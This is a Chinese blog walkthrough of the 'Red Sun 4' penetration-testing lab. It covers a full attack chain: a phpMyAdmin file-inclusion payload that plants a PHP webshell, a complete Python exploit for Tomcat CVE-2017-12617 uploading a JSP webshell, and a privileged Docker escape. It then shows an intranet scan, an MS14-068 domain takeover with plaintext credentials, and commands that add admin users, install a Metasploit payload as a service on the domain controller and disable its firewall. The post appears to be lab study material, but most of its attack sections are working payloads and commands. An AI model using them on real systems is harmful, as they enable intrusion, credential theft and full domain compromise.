红日四

外围打点

nmap大概扫下全端口

2003端口有个phpMyAdmin,版本为4.8.1,存在文件包含漏洞!

通过执行select "<?php eval($_GET['a']);?>在session中写入一个马,然后通过该马写个一句话,payload如下:

/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_441736d9075edc3afc603f3a9e418a41&a=file_put_contents('/var/www/html/shell.php',urldecode("%253C%253Fphp%2520eval(%2524_POST%255B%2527a%2527%255D)%253B%253F%253E"));

直接拿蚁剑连

2002端口是个tomcat服务,版本为8.5.19,存在cve-2017-12617,通过原理编写如下脚本:

import requests
from urllib.parse import urljoin
import sys

def exploit(url):
    payload="""<%-- 使用时请删除此行, 连接密码: a --%>
<%!
class LAMBDA extends ClassLoader{
  LAMBDA(ClassLoader c){super(c);}
  public Class raise(byte[] b){
    return super.defineClass(b, 0, b.length);
  }
}
public byte[] structural(String str) throws Exception {
  Class base64;
  byte[] value = null;
  try {
    base64=Class.forName("sun.misc.BASE64Decoder");
    Object decoder = base64.newInstance();
    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
  } catch (Exception e) {
    try {
      base64=Class.forName("java.util.Base64");
      Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
      value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception ee) {}
  }
  return value;
}
%>
<%
String cls = request.getParameter("a");
if (cls != null) {
  new LAMBDA(this.getClass().getClassLoader()).raise(structural(cls)).newInstance().equals(new Object[]{request,response});
}
%>"""
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    req=requests.put(urljoin(url, "shell.jsp")+"/",data=payload, headers=headers,verify=False)
    if req.status_code==201:
        print(f"File Created {str(url)}/shell.jsp")

if len(sys.argv) == 2:
    url = "http://192.168.80.133:2002/"
    exploit(url)
else:
    print("Usage: python3 cve-2017-12617.py url")

跑完脚本后直接拿蚁剑连

2001端口是个struts2框架,直接用工具就可以打通

直接用工具传个马就好了

通过三个点进去后我们可以看到明显不是一台机器,查看根目录也可以知道是docker容器

这里我们想办法从其中一台内逃逸出去

Docker逃逸

通过docker特权模式进行逃逸,使用fdisk -l查看磁盘情况,在2001端口的服务中可以查看

查看磁盘挂载情况

我们重新挂在一下/dev/sda1磁盘

发现该磁盘应该是主机的根目录,这里有几种利用方式:

  1. 写入ssh公钥
  2. 写crontab计划任务
  3. 写入passwd和shadow创建新用户

windows本地可以通过ssh-keygen -m PEM -t rsa -b 40961生成公私钥,然后再用户目录下的.ssh/id_rsa.pub传到靶机里,然后如下写入公钥

这里记得需要修改.ssh目录的权限为700(这里也尝试在/home/ubuntu用户下写入公钥,但是发现写入后文件所属为root,所以权限问题导致ubuntu用户无法连接)

至此成功获得主机,然后进行内网扫描

内网信息搜集

查看网卡情况

找到内网段192.168.183.1/24,传入fscan进行内网扫描,扫描结果如下

start infoscan
(icmp) Target 192.168.183.129 is alive
(icmp) Target 192.168.183.128 is alive
(icmp) Target 192.168.183.130 is alive
[*] Icmp alive hosts len is: 3
192.168.183.130:445 open
192.168.183.128:445 open
192.168.183.130:139 open
192.168.183.128:139 open
192.168.183.130:135 open
192.168.183.128:135 open
192.168.183.129:22 open
192.168.183.130:88 open
[*] alive ports len is: 8
start vulscan
[+] NetInfo:
[*]192.168.183.130
   [->]WIN-ENS2VR5TR3N
   [->]192.168.183.130
[+] NetInfo:
[*]192.168.183.128
   [->]TESTWIN7-PC
   [->]192.168.183.128
[*] 192.168.183.130[+]DC DEMO\WIN-ENS2VR5TR3N   Windows Server 2008 HPC Edition 7601 Service Pack 1
[+] 192.168.183.128  MS17-010  (Windows 7 Enterprise 7601 Service Pack 1)
[*] 192.168.183.128      __MSBROWSE__\TESTWIN7-PC       Windows 7 Enterprise 7601 Service Pack 1
[+] 192.168.183.130  MS17-010  (Windows Server 2008 HPC Edition 7601 Service Pack 1)
已完成 7/8 [-] ssh 192.168.183.129:22 root test ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/8 [-] ssh 192.168.183.129:22 root 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/8 [-] ssh 192.168.183.129:22 admin admin123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 7/8 [-] ssh 192.168.183.129:22 admin a12345 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 8/8
[*] 扫描结束,耗时: 4m52.706514937s

内网中存在两台Windows,且可能存在MS17-010,尝试使用msf打一下都没有打通,经过排查应该是流量的问题,这里搭建一个ew隧道打一下。

然后这里就成功上线了,不得不说这msf的路由转发有点逊,但是尽管上线了还是很容易掉线,迁移了进程还是一样,应该就是流量的问题了,不得不修改网卡,直接NAT连接到主机。

win7变为192.168.183.131

横向移动

成功上线后载入kiwi模块获取明文密码

这里获得了域内普通用户douser的明文密码,通过ms14-068进行域内提权拿下域控

使用mimikatz获取douser的sid和Logon Server(用ip也行192.168.183.130)

通过systeminfo | find "3011780"命令若为空则存在MS14-068漏洞

然后通过作者已经给了的MS14-068.exe进行攻击获得票据

MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d WIN-ENS2VR5TR3N

之后使用mimikatz将票据注入内存

这个时候我们就可以通过net use \\WIN-ENS2VR5TR3N\IPC$建立IPC通道

这里打算开启远程桌面进行上传木马进行连接

使用msf攻击模块run post/windows/manage/enable_rdp开启远程桌面,然后添加用户进行远连

net user demo 123qwe!@#QWE /add
net localgroup administrators demo /add

这里在将demo用户加入用户组时失败了,报了1312的错

开远程桌面或许更麻烦些,直接用msf的upload进行上传也是非常快的

然后通过copy命令将木马放入域控的C盘中

copy msf.exe \\WIN-ENS2VR5TR3N\c$\msf.exe

然后我们通过sc来设置一个服务

# 创建服务
sc \\WIN-ENS2VR5TR3N create shell binpath= "c:\msf.exe"
# 启动服务
sc \\WIN-ENS2VR5TR3N start shell

这里还需要关闭一下防火墙,不然无法建立连接

关闭防火墙的方法:写一个bat,内容如下:

netsh advfirewall set allprofiles state off

然后相同的方法进行上传,然后因为bat并不算是一个可执行程序,只是一个dos脚本,所以我们这里用计划任务来执行它

schtasks /S WIN-ENS2VR5TR3N /create /TN cs /TR C:\fwoff.bat /SC minute /MO 1 /RU system

这里一开始没有加/RU system导致执行失败,该参数的意思时以什么权限去执行,之后再去启动服务,成功拿下shell,这里切记要进行进程迁移,不然就会很快就会断掉

meterpreter > migrate <pid>

后记:

期间我们在利用ms14-068漏洞时,使用的是kerberos::ptc,即pass the ccache,通过查阅资料得知ccache和ticket相同都是票据,只是格式不同,ccache是unix格式的票据(.ccache),而ticket是windows格式的票据(.kirbi)。

使用如下脚本进行转换:

https://github.com/fortra/impacket/blob/master/examples/ticketConverter.py

posted @ 2023-01-09 21:20  seizer-zyx  阅读(60)  评论(0编辑  收藏  举报